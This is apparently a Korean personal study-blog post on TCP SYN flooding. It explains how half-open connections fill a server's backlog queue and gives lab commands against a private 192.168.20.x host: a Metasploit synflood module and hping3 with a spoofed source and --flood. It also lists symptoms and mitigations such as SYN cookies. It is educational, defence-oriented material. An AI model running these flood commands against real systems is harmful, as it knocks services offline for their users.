Study Record

[네트워크 해킹] TCP SYN Flooding 본문

네트워크 해킹

[네트워크 해킹] TCP SYN Flooding

초코초코초코 2021. 10. 22. 17:33
728x90

1. 공격 원리 

☞ TCP의 SYN 신호를  IP를 랜덤으로 설정하여 지속적으로 보내 공격 대상의 백 로그 큐를 고갈시키는 Dos 공격 방법 중 하나이다.

TCP SYN 신호를 받은 서버가 클라이언트에게 SYN+ACK 신호를 보내면 클라이언트에게서 ACK 신호가 오기를 기다리는 'Half Open' 상태가 되고 백 로그 큐에 연결이 저장된다. 일정 시간이 지나고 나서도 ACK 신호가 오지 않으면 연결이 초기화가 되는데 TCP SYN Flooding 공격은 사용하지 않는 ip를 랜덤하게 설정하여 지속적으로 상대 서버에게 SYN 신호를 보내고 ACK 를 보내지 않아 백 로그 큐가 꽉 차게 되어 더 이상 서비스를 하지 못하게 만든다.

 

2. 공격 실습

공격 대상(Linux) : 192.168.20.200

공격자(KaliLinux) : 192.168.20.50

 

[KaliLinux]

㉮ msfconsole 명령어를 사용하는 경우

# systmectl status postgresql (systemctl restart postgresql)

# msfconsle

msf> use auxiliary/dos/tcp/synflood

msf> set RHOST 192.168.20.200

msf> run

※ 실제로 모의해킹용 툴이기 때문에 시스템이 다운될만큼 빠르고 많이 패킷을 보내지 않는다.

 

hping3 명령어를 사용하는 경우

# hping3 -S -a 192.168.20.205 192.168.20.200 -p 80 -c 3

# hping3 -S -a 192.168.20.205 192.168.20.200 -p 80 --flood

 

3. 공격 증상 

  • 네트워크 부하량이 증가한다.
  • SYN + ACK 를 받고 대기하는 연결들이 많다.
  • netstat -antp 확인 가능

 

4. 방지 대책

4-1. TCP Syn_cookie

# sysctl -w net.ipv4.tcp_syncookies=1

- 임시적인 쿠키 공간을 만들어 들어오는 연결들을 저장해놨다가 꽉 차기 시작했을 때 쌓여있는 연결들을 검사하여 불순한 연결들을 강제로 끊어 정상적으로 서비스할 수 있도록 한다.

 

4-2. Backlog Queue 늘리는 방법

 # sysctl -w net.ipv4.tcp_max_syn_backlog=1024 

 - 완벽하게 공격을 막을 수는 없다. 백로그 큐를 늘려도 더 많은 양의 패킷들로 공격하면 소용없기 때문이다.

 

4-3. Half-Open Time 시간 줄이기

 - 연결 대기 시간을 줄인다.

 

 

728x90